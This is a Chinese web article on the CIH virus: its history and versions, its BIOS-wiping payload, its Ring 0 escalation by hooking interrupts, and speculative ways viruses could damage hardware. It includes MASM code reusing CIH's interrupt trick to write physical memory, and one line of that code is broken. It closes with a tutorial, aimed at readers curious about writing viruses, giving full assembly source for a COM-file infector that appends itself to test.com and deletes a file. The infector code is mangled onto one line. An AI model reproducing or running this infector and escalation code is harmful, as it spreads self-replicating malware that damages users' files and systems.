当前位置:找作文 >作文大全 > 正文

CIH病毒是否可以破坏电脑硬件吗

2022-03-31 09:41:15 5

CIH病毒是否可以破坏电脑硬件吗图片

CIH病毒是否可以破坏电脑硬件吗?下面请看小编娓娓道来。希望对大家有用。

CIH病毒的由来

CIH首先在台湾被发现,根据台北官方的报告,计算机病毒是由24岁的陈盈豪(Chen Ing-Halu)编制的,由于其名字第一个字母分别为C、I、H,所以这可能是计算机病毒名称的由来。

CIH病毒的简介

它是迄今为止发现的最阴险的病毒之一。它发作时不仅破坏硬盘的引导区和分区表,而且破坏计算机系统flashBIOS芯片中的系统程序,导致主板损坏。CIH病毒是发现的首例直接破坏计算机系统硬件的病毒。 CIH病毒的发展历程

CIH病毒v1.0版本:

最初的V1.0版本仅仅只有656字节,其雏形显得比较简单,与普通类型的病毒在结构上并无多大的改善,其最大的"卖点"是在于其是当时为数不多的、可感染Microsoft Windows PE类可执行文件的病毒之一, 被其感染的程序文件长度增加,此版本的CIH不具有破坏性。

CIH病毒v1.1版本:

当其发展到v1.1版本时,病毒长度为796字节,此版本的CIH病毒具有可判断WinNT软件的功能,一旦判断用户运行的是WinNT,则不发生作用,进行自我隐藏,以避免产生错误提示信息,同时使用了更加优化的代码,以缩减其长度。此版本的CIH另外一个优秀点在于其可以利用WIN PE类可执行文件中的"空隙",将自身根据需要分裂成几个部分后,分别插入到PE类可执行文件中,这样做的优点是在感染大部分WINPE类文件时, 不会导致文件长度增加。 CIH病毒v1.2版本:

当其发展到v1.2版本时,除了改正了一些v1.1版本的缺陷之外,同时增加了破坏用户硬盘以及用户主机 BIOS程序的代码,这一改进,使其步入恶性病毒的行列,此版本的CIH病毒体长度为1003字节。

CIH病毒v1.3版本:

原先v1.2版本的CIH病毒最大的缺陷在于当其感染ZIP自解压包文件(ZIP self-extractors file)时,将导致此ZIP压缩包在自解压时出现:

WinZip Self-Extractor header corrupt.

Possible cause: disk or file transfer error.

的错误警告信息。v1.3版本的CIH病毒显得比较仓促,其改进点便是针对以上缺陷的,它的改进方法是:一旦判断开启的文件是WinZip类的自解压程序,则不进行感染。同时,此版本的CIH病毒修改了发作时间。v1.3 版本的CIH病毒长度为1010字节。

CIH病毒v1.4版本:

此版本的CIH病毒改进上上几个版本中的缺陷,不感染ZIP 自解压包文件,同时修改了发作日期及病毒中的版权信息(版本信息被更改为:"CIH v1.4 TATUNG",在以前版本中的相关信息为"CIH v1.x TTIT"),此版本的长度为1019字节。

从上面的说明中,我们可以看出,实际上,在CIH的相关版本中,只有v1.2、v1.3、v1.4这3 个版本的病毒具有实际的破坏性,其中v1.2版本的CIH病毒发作日期为每年的4月26日,这也就是当前最流行的病毒版本,v1.3 版本的发作日期为每年的6月26日,而CIH v1.4版本的发作日期则被修改为每月的26日,这一改变大大缩短了发作期限,增加了其的破坏性。CIH的特征和行踪

来自权威部门的消息说,CIH是一个纯粹的Windows95/98病毒,这个病毒很独特地使用了 WindowsVxD(虚拟设备驱动程序)技术;该病毒发作时,硬盘一直转个不停,所有数据都被破坏,硬盘分区信息也将丢失;再有就是 CIH病毒发作时也可能会破坏某些类型的主板上的电可改写只读存储器(E2PROM)的BIOS。BIOS即电脑中的"基本输入/输出系统", 存放的是系统最基本的硬件参数和驱动程序,一旦被破坏则系统根本无法启动,唯一的修复途径就是送回厂家重新烧入BIOS。此时如果用户不想送回厂家"重烧",而使用BIOS升级软件重新烧入BIOS,升级软件将报告"E2PROM型号不对"的错误。这就是说, CIH病毒已具备了对硬件的相当破坏能力,它可以彻底摧毁计算机。 一般用户都知道,传统意义上的病毒破坏的是数据而非硬件。因此,经常进行数据备份与软件更新,能够一定程度上防止数据文件被病毒破坏,而且即使文件被传染病毒,也可使用反病毒软件加以清除,至少可以尽最大可能恢复系统。防病毒专家认为,威胁到计算机硬件的 CIH的出现,意味着病毒与反病毒的技术较量已开始发生质的改变。"根据初步跟踪分析,CIH病毒是从海外传入内地的"北京冠群金辰软件有限公司反病毒专家王铁肩介绍说: "目前该病毒的传播主要通过互联网和电子邮件,当然随着时间的推移,其传播主要还是通过软盘或光盘。"据权威病毒搜集网获得的信息, CIH病毒"原体"加"变种"一共有五种,它们的相互区别在于"原体"会使受感染文件增长,但不具破坏力;而"变种"不增长受感染文件,但有很强的破坏性CIH 病毒原理的应用--物理内存的读写 Windows 95/98应用程序无法直接读写物理内存,如果使用VxD编程,可以调用VMM功能_MapPhysToLinear 将物理地址映射到线性地址再进行修改,但是这样就必须单独写一个VxD,比较麻烦,那么能不能在应用程序中直接调用VMM功能呢?一般不能,因为VMM功能要在Ring 0上调用,而一般的应用程序工作在Ring 3上,那么为什么CIH 病毒能够调用VMM功能呢,CIH病毒使用了一种技术,采用Intel处理器的中断从Ring 3转到Ring 0,我们完全可以借鉴这种技术来调用VMM功能, 下面的程序演示了如何修改物理内存--以在Windows 95加密程序中修改加密扇区大小(物理地址0000:0525H)为例:

;****************************************************************************

;* Windows 95加密软件核心模块之一--磁盘扇区大小修改程序 *

;* *

;* 本程序在Windows 95下修改内存物理地址0000:0525 处的磁盘扇区大小字节, *

;* 为了能够修改物理地址,本程序使用了VMM 功能_MapPhysToLinear将物理地址映射 *

;* 到线性地址进行修改。为了在应用程序中调用VMM 功能,本程序使用了CIH 病毒的 *

;* 原理,使用中断将系统由Ring 3转到Ring 0,然后调用VMM 功能。 *

;* 本程序中的过程ChangeSectorSize在VC中的原型可以写成: *

;* *

;* void _stdcall ChangeSectorSize(BYTE SectorSize); *

;****************************************************************************

.386p

.model flat,stdcall

;修改的中断号,如果本中断号改成3则可以防止Soft-ICE跟踪!

HookExceptionNo EQU 05h

.data

IDTR_1 db 6 dup(0) ;保存中断描述符表寄存器

OldExceptionHook dd 0 ;保存原先的中断入口地址

.code

;修改扇区大小过程

ChangeSectorSize PROC SectorSize:BYTE

push eax

;获取修改的中断的中断描述符(中断门)地址

sidt IDTR_1

mov eax,dword ptr IDTR_1+02h

add eax,HookExceptionNo*08h+04h

cli

;保存原先的中断入口地址

push ecx

mov ecx,dword ptr [eax]

mov cx,word ptr [eax-04h]

mov dword ptr OldExceptionHook,ecx

pop ecx

;设置修改的中断入口地址为新的中断处理程序入口地址

push ebx

lea ebx,NewExceptionHook

mov word ptr [eax-04h],bx

shr ebx,10h

mov word ptr [eax+02h],bx

pop ebx

;执行中断,转到Ring 0(与CIH 病毒原理相似!)

push ebx

mov bl,byte ptr SectorSize ;扇区大小保存在bl寄存器中

int HookExceptionNo

pop ebx

;恢复原先的中断入口地址

push ecx

mov ecx,dword ptr OldExceptionHook

mov word ptr [eax-04h],cx

shr ecx,cx

pop ecx

;修改扇区大小过程结束

sti

pop eax

ret

ChangeSectorSize ENDP

;新的中断处理程序

NewExceptionHook PROC

push eax

push ebx

push ecx

push edx

push esi

;修改扇区大小

push dword ptr 00000000h ;必须为0

push dword ptr 00000001h ;字节数

push dword ptr 00000525h ;物理地址0000:0525

int 20h

dd 0001006ch ;以上两条指令相当于 VMMCall _MapPhysToLinear

pop esi

pop esi

pop esi

mov byte ptr [eax],bl ;修改扇区大小

;中断处理程序结束

pop esi

pop edx

pop ecx

pop ebx

pop eax

iretd

NewExceptionHook ENDP

end

本过程可以被C语言调用,编译方法:ml /c /coff w95enc.asm。请用MASM 6.11以上版本编译,不需要DDK。将编译生成的OBJ文件插入VC的工程中,并在VC程序中写上函数原型说明,就可以调用了。

病毒是怎样破坏硬件的

最近,CIH病毒把大家搞得人心惶惶,掀起了不小的波澜。以前的各种病毒最多只能破坏硬盘数据,而CIH 却能侵入主板上的Flash BIOS,破坏其内容而使主板报废。CIH的教训告诉我们:不要轻视病毒对硬件的破坏。 很多人现在已经开始担忧:CIH越来越凶猛,同时会不会有更多的破坏硬件的病毒出现?其实,本人分析了一下。病毒破坏硬件的"手段",不外乎有以下几种:1.破坏显示器众所周知,每台显示器都有自已的带宽和最高分辨率、场频。早期生产的14英寸彩色显示器,带宽大约只有35-45MHz,对应的最高分辩率为1024×768@60Hz场频;目前的14英寸彩色显示器,带宽大都有60MHz,对应的最高分辨率为1024×768@75Hz场频;15英寸彩色显示器(高档的),带宽有110MHz,对应的最高分辨率为1280×1024@85Hz场频。大家可以查看一下显示器的说明书,上面都有场频与最高分辨率的配合。若其中有一项超过,就会出现花屏,严重了就会烧坏显示器。病毒可以通过篡改显示参数来破坏显示器(如把分辨率、场频改到显卡能支持的最高档等)。虽然新型显示器有DDC标准化与系统联络,但病毒想钻空子并不难。所以大家如果发现在使用过程中显示器出现了花屏, 要立即关掉显示器的电源,重新启动后进入安全模式再找原因。2.超外频、加电压破坏CPU、显卡、内存等目前新型主板采用"软跳线"的越来越多,这正好给病毒以可乘之机。所谓"软跳线" 是指在BIOS中就能改动CPU的电压、外频和倍频。病毒可以通过改BIOS参数,加高CPU电压使其过热而烧坏,或提高CPU的外频,使CPU和显卡、内存等外设超负荷工作而过热烧坏。这类事件的前兆就是死机。所以,如果发现机器经常死机,就要赶紧到 CMOS中看看以上参数是否有改动。可喜的是,目前很多新出的主板都有CPU温度监测功能,超温后立即降频报警,可以基本杜绝烧坏硬件的情况发生。3.超"显频"破坏显卡目前很多中高档显卡如Voodoo等都可以手动改变其芯片的频率,并且改的方法更简单:在Windows 9x注册表里改。病毒改动了"显频",显卡也就容易超负荷工作而烧坏。这种事件的前兆也是死机。所以,死机时也不要忽视对"显频"的检查。另外还有一种减少烧坏显卡的可能性的办法,那就是……(什么?你已经安了两个风扇了!?)4.破坏光驱光驱中的光头在读不到信号时就会加大激光发射功率,这样长期下去对光驱的寿命极为不利。有人做实验,让正常的光驱不停的读取一张划痕很多,信号较弱的光盘,28小时以后光驱就完蛋了。病毒可以让光头走到盘片边缘无信号区域不停的读盘,结果光头读不到信号,便加大发射功率不停地读,要不了几天,光驱就要"No Disc"了。 所以要经常注意光驱灯的闪亮情况,判断光驱是否在正常工作。5.破坏主板、显卡的Flash BIOS这就是现在的CIH病毒破坏主板的方式。病毒用乱码冲掉了BIOS中的内容,使机器不能启动。 不过现在很多主板都有带有Flash BIOS写保护跳线,可以有效的防止CIH病毒破坏主板。但是不要忘了,很多显卡也有Flash BIOS, 说不定哪一天就会冒出一种破坏显卡BIOS的病毒。所以还是小心一点为好,这可没有什么特效药啊!6.破坏硬盘大家都知道,分区、高级格式化对硬盘都没有什么损伤,惟独低级格式化对硬盘的寿命有较大的影响。据说硬盘做上10次低级格式化就会报废。如果出现一种病毒,不停的对硬盘的0磁道做低格式化(做10次最多只需用几秒钟!),0道坏了再做1道……你的硬盘容量就会一点一点(这一点好不小啊!)地被蚕食,而且0、1、2……道坏了,要想再使用该硬盘,就得在BIOS中重新设定起始磁道,再低级格式化,非常麻烦。其实,该病毒有一个非常简单而有效的预防方法,那就是将BIOS中的Boot Sector Virus Protection(引导区病毒写保护)设为Enable(打开)。笔者做过实验,将上述开关打开的情况下,使用各种低级格式化软件(包括BIOS中自带的)对硬盘进行低格,BIOS都会报警(报告说有程序企图重写引导区,问是否继续),按N就可以防止。要知道BIOS程序掌管着系统的最高控制权, 应该没有什么东西可以冲破其防线(你按Y是另外一回事)。若发现上述情况,赶紧Reset,然后进行杀毒不过,如果你是在装Win 98等操作系统或System Commander等软件时碰到该情况,就大可不必理会它,困为这些软件安装时都有要重写引导区。不过劝你安装这些软件时最好先把写保护关掉,否则容易出现死机现象!7.浪费喷墨打印机的墨水喷墨打印机的喷头特别容易堵塞,为此打印机公司特别发明了专门浪费墨水的"清洗喷头"功能,即让大量墨水冲出喷头,清除杂物。这项功能可以用软件控制实现,于是乎病毒便神不知鬼不觉的一次次调用该功能,而你却对打印机的呻吟声却听而不见。当你发现时,大量的墨已经被浪费了。这种病毒唯一的预防办法就是……不用打印机时把打印机关了。其实,只要你常注意一下打印机上的模式灯就可以了,清洗喷头时它通常是一闪闪的。另外还要仔细倾听它的呻吟声,清洗喷头时打印头总是要来回走动几下的(为了加热)。 一口气写了7条,其实大家心里明白,破坏硬件的歪点子多着呢!本文只是想为刚从CIH阴影中爬出的朋友提个醒:成功之路千万条(当然是编病毒者的成功),打死CIH,还有后来者。千万要发扬各种精神, 保护你的血汗钱筑成的电脑!另外,本文中几乎每一条都有附预防办法(虽然有些看起来像废话),但这些办法也不是万能的(还要注意不能顾此失彼),以后谁的"鸡"若被新病毒搞坏了,我可不负责任哟! CIH是使用什么方法进行感染的? 就技巧而言,其原理主要是使用Windows的VxD(虚拟设备驱动程序)编程方法,使用这一方法的目的是获取高的CPU权限,CIH病毒使用的方法是首先使用SIDT取得IDT base address(中断描述符表基地址),然后把IDT的INT 3的入口地址改为指向CIH自己的INT3程序入口部分,再利用自己产生一个INT 3指令运行至此CIH自身的INT 3入口程序 出,这样CIH病毒就可以获得最高级别的权限(即权限0),接着病毒将检查DR0寄存器的值是否为0,用以判断先前是否有CIH病毒已经驻留。如DR0的值不为0,则表示CIH病毒程式已驻留,则此CIH副本将恢复原先的INT 3入口,然后正常退出(这一特点也可以被我们利用来欺骗CIH程序,以防止它驻留在内存中,但是应当防止其可能的后继派生版本)。如果判断DR0值为0,则CIH病毒将尝试进行驻留,其首先将当前EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用INT 20中断,使用VxD call Page Allocate系统调用,要求分配Windows系统内存(system memory),Windows系统内存地址范围为C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域, 如果程序想长期驻留在内存中,则必须申请到此区段内的内存,即申请到影射地址空间在C0000000h以上的.内存。如果内存申请成功,则接着将从被感染文件中将原先分成多段的病毒代码收集起来,并进行组合后放到申请到 的内存空间中,完成组合、放置过程后,CIH病毒将再次调用INT 3中断进入CIH病毒体的INT 3入口程序,接着调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,用来在文件系统处理函数中挂接钩子,以截取文件调用的操作,接着修改IFSMgr_InstallFileSystemApiHook的入口,这样就完成了挂接钩子的工作,同时Windows默认的IFSMgr_Ring0_FileIO(InstallableFileSystemManager,IFSMgr)。服务程序的入口地址将被保留,以便于CIH病毒调用,这样,一旦出现要求开启文件的调用,则CIH将在第一时间截获此文件,并判断此文件是否为PE格式的可执行文件,如果是,则感染,如果不是,则放过去,将调用转接给正常的Windows IFSMgr_IO服务程序。CIH不会重复多次地感染PE格式文件,同时可执行文件的只读属性是否有效,不影响感染过程,感染文件后,文件的日期与时间信息将保持不变。对于绝大多数的PE程序,其被感染后,程序的长度也将保持不变,CIH 将会把自身分成多段,插入到程序的空域中。完成驻留工作后的CIH病毒将把原先的IDT中断表中的INT 3入口恢复成原样。病毒的编写是一种高深技术,真正的病毒一般都具有:传染性、隐藏性(又称潜伏性)、破坏性。现在的病毒种类也不少,如平常的传染可执行文件的病毒、宏病毒等等。但原始的、破坏性最大的病毒还是传染可执行文件的病毒(像CIH病毒),而这些病毒一般都是用汇编语言编写的。有许多人对病毒有着好奇和向往,但是往往又因为汇编语言的难学等问题望而却步。这篇文章就是教给大家如何制作一个简单的程序,这个程序虽然算不上病毒但是具有病毒的传染性,而往往病毒的传染性是平常人最难做到的。好啦,现在转入正题,先讲讲病毒是如何传染的,传染后又如何在被染的文件中执行的,其实道理非常简单:病毒一般将其代码写入执行文件的尾部,然后使执行文件在执行时先执行文件尾部的病毒代码,然后再跳回原代码处执行。现在举一个试例进行说明:;功能:感染当前文件夹的test.com文件; 并删除当前文件夹的del.txt文件; 显示预设的字符串CSEG SEGMENTASSUME CS:CSEG,DS:CSEG,SS:CSEGmain PROC NEARmainstart:CALL vstart ;病毒的代码开始处vstart:POP SI ;得到当前地址MOV BP,SI ;保存当前地址PUSH SIMOV AH,9ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串MOV DX,SIINT 21hPOP SIADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节MOV DI,100h ;目的地址MOV AX,DS:[SI] ;开始复制MOV DS:[DI],AXINC SIINC SIINC DIINC DIMOV AX,DS:[SI]MOV DS:[DI],AXMOV SI,BP ;恢复地址值MOV DX,OFFSET delname-OFFSET vstartADD DX,SIMOV AH,41hINT 21hMOV DX,OFFSET filename-OFFSET vstart ;得到文件名ADD DX,SIMOV AL,02MOV AH,3dh ;写文件INT 21hJC errorMOV BX,AX ;文件句柄MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节ADD DX,SIMOV CX,4MOV AH,3fhINT 21hMOV AX,4202h ;到文件尾XOR CX,CXXOR DX,DXINT 21hMOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方ADD DI,2ADD DI,SISUB AX,4MOV DS:[DI],AXADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒MOV DX,SIMOV vsizes,OFFSET vends-OFFSET mainstartMOV CX,vsizesMOV AH,40hINT 21hMOV SI,BP ;定位到文件头MOV AL,0XOR CX,DXMOV AH,42hINT 21hMOV AH,40h ;将新的文件头写入MOV CX,4MOV DX,OFFSET new4byte-OFFSET vstartADD DX,SIINT 21hMOV AH,3eh ;关闭文件INT 21herror:MOV AX,100hPUSH AXRETmain ENDPyuan4byte:RETDB 3 DUP (?)vsizes DW 0new4byte DB ‘M‘,0e9h,0filename DB "test.com",0delname DB "del.txt",0message DB "He he he he!"DB 0dh,0ah,"$"vends:start:MOV AX,CSEGMOV DS,AXMOV SS,AXCALL mainMOV AX,4c00hINT 21hCSEG ENDSEND start以上就是一个简单的可以传染COM文件的程序代码,也是想当初我所做的具有传染性质的第一个程序。如何???不难吧。COM文件执行时将COM文件内所的所有内容COPY到内存, 起始地址是100,然后进行执行 没有任何有关节啦、段啦这些属性,所以COM文件病毒是最简单最简单的病毒

标签:计算机硬件计算机类

标签列表
热门文章